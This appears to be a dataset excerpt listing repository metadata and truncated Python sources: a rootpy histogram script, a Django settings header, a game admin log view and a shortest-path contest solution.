72de59ef9fef1fd802811b611890aea3ffb768b5 | 6cd4d9e8d6100cc8f0a8b2ce02cf308acb83fb93 | /NTuplesToHists/YourMacrosAreBadAndYouShouldFeelBad.py | 522ea6f01c5fdb5435f17f4f75fea2e8bb515fce | [] | no_license | mattleblanc/TakeOverTheWorld | 09224dd21c4c8ce9b46857c8a41bfd315f187655 | 503cda16122043940d18aae147c9aa9b62378411 | refs/heads/master | 2021-01-22T08:09:43.695283 | 2016-04-03T17:34:54 | 2016-04-03T17:34:54 | 56,230,568 | 0 | 0 | null | 2016-04-14T11:05:52 | 2016-04-14T11:05:52 | null | UTF-8 | Python | false | false | 3,108 | py | import json
import ROOT
import os
from rootpy.io import root_open
from rootpy.plotting import Hist, Hist2D, Hist3D
from rootpy.plotting import set_style
from rootpy.tree import Tree, TreeChain
import argparse
parser = argparse.ArgumentParser(description='Author: G. Stark')
parser.add_argument('files', type=str, narg... | [
"kratsg@gmail.com"
] | kratsg@gmail.com |
959547da6943eb1205b9f43f08c76e0f13e545f7 | 12854e1de4f41ec30db48ad5847a1e7a0b61a0e9 | /201901SSAFY/02Django/190211 월간평가풀이, Django/14workshop_source/first_workshop/settings.py | a59eb0abf552a23a8f07b0be39e2754cd49ec7d5 | [] | no_license | egyeasy/TIL | b3192184cb50f255cc5473468d34d65820b29849 | 8985b97d267edc70d21b4cc4a1e275c8c94ccafc | refs/heads/master | 2023-01-08T12:09:40.993410 | 2019-07-25T10:05:42 | 2019-07-25T10:05:42 | 163,810,472 | 0 | 0 | null | 2023-01-04T17:34:02 | 2019-01-02T07:47:20 | Jupyter Notebook | UTF-8 | Python | false | false | 3,175 | py | """
Django settings for workshop14 project.
Generated by 'django-admin startproject' using Django 2.1.5.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os... | [
"dz1120@gmail.com"
] | dz1120@gmail.com |
7b930e02cd9187e889e3bd5d69349ad669142311 | d83118503614bb83ad8edb72dda7f449a1226f8b | /src/dprj/platinumegg/app/cabaret/views/mgr/view_userlog.py | dcb007e3bb764c5658e4984fdf2ffa1807af0008 | [] | no_license | hitandaway100/caba | 686fe4390e182e158cd9714c90024a082deb8c69 | 492bf477ac00c380f2b2758c86b46aa7e58bbad9 | refs/heads/master | 2021-08-23T05:59:28.910129 | 2017-12-03T19:03:15 | 2017-12-03T19:03:15 | 112,512,044 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 32,118 | py | # -*- coding: utf-8 -*-
from platinumegg.app.cabaret.views.adminhandler import AdminHandler
from defines import Defines
from platinumegg.app.cabaret.models.UserLog import UserLogLoginBonus,\
UserLogCardGet, UserLogCardSell, UserLogComposition, UserLogEvolution,\
UserLogGacha, UserLogAreaComplete, UserLogScoutCo... | [
"shangye@mail.com"
] | shangye@mail.com |
066ce0c0b9289143ab17eb18b3e443b1d12d1a9f | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02889/s289576998.py | 6bc6be80a4ae723b5c3967503484971bf4b0b3d2 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | n,m,l = map(int,input().split())
g = [[1<<30]*n for _ in range(n)]
for _ in range(m):
a,b,c = map(int,input().split())
g[a-1][b-1] = c
g[b-1][a-1] = c
for i in range(n):
g[i][i] = 0
def bell(g,n):
for k in range(n):
for i in range(n-1):
for j in range(i+1,n):
if g[i][j] > g[i][k] + g[k][j]:... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.